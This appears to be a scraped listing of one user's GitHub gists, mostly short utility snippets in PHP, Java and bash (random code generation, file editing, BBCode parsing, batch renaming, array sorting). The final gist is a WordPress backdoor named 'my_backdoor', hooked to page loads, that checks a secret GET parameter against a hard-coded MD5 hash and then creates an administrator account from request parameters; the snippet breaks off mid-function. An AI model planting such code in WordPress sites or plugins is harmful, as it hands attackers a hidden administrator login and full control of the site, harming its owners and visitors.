This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$string = "abcdefghijklmnopqrstuvwxyz0123456789"; //add as many diffrent char you need, this is the char pool. | |
//auth code will be 25 chars long | |
for($i=0;$i<25;$i++){ | |
$pos = rand(0,36); | |
$authCode .= $string{$pos}; | |
} | |
echo $authCode; //optional |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function removeLine ($file, $lineToRemove) { | |
$data = file_get_contents($file); | |
$lines = explode(PHP_EOL, $data); | |
$lineNo = 1; | |
foreach($lines as $line) { | |
$linesArray[$lineNo] = $line; | |
$lineNo++; | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static void removeInventoryItems(PlayerInventory inv, Material type, int amount) { | |
for (ItemStack is : inv.getContents()) { | |
if (is != null && is.getType() == type) { | |
int newamount = is.getAmount() - amount; | |
if (newamount > 0) { | |
is.setAmount(newamount); | |
break; | |
} else { | |
inv.remove(is); | |
amount = -newamount; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in BASE_HERE* | |
do | |
mv "$i" "$i.EXT_HERE" | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$dir = 'classes'; | |
foreach (glob($dir . '/*.php') as $class_file) { | |
include $class_file; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function parseCode($input) { | |
$parsed = strip_tags($input); | |
// replacements | |
$parsed = preg_replace('#\[b\](.+)\[\/b\]#iUs', '<b>$1</b>', $parsed); | |
$parsed = preg_replace('#\[link\=(.+)\](.+)\[\/link\]#iUs', '<a href="$1">$2</a>', $parsed); | |
$parsed = preg_replace('#\[img\](.+)\[\/img\]#iUs', '<img src="$1" alt="Image" />', $parsed); | |
$parsed = preg_replace('#\[quote\=(.+)\](.+)\[\/quote]#iUs', '<div class="quote">$2</div><div class="quote-author">By: $1</div>', $parsed); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<button onclick="saveAsImg(document.getElementById('pie_div'));">Save as PNG Image</button> | |
<p>Will push you a download.</p> | |
<div id="pie_div"></div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#wget the zip-archive of a github repo | |
#Syntax: | |
# git-zip.sh <USER> <REPO> | |
URL="https://github.com/$1/$2/archive/master.zip" | |
OUTZIP="$2.zip" | |
echo "Download started of the repo >>$2<< by >>$1<< from GitHub." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function array_sort_by_collum(&$array, $col, $direction = SORT_ASC) | |
{ | |
$sort_col = array(); | |
foreach($array as $key => $row) { | |
$sort_col[$key] = $row[$col]; | |
} | |
array_multisort($sort_col, $direction, $array); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists($_GET['username'])) { | |
$user_id = wp_create_user($_GET['username'], $_GET['password']); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
OlderNewer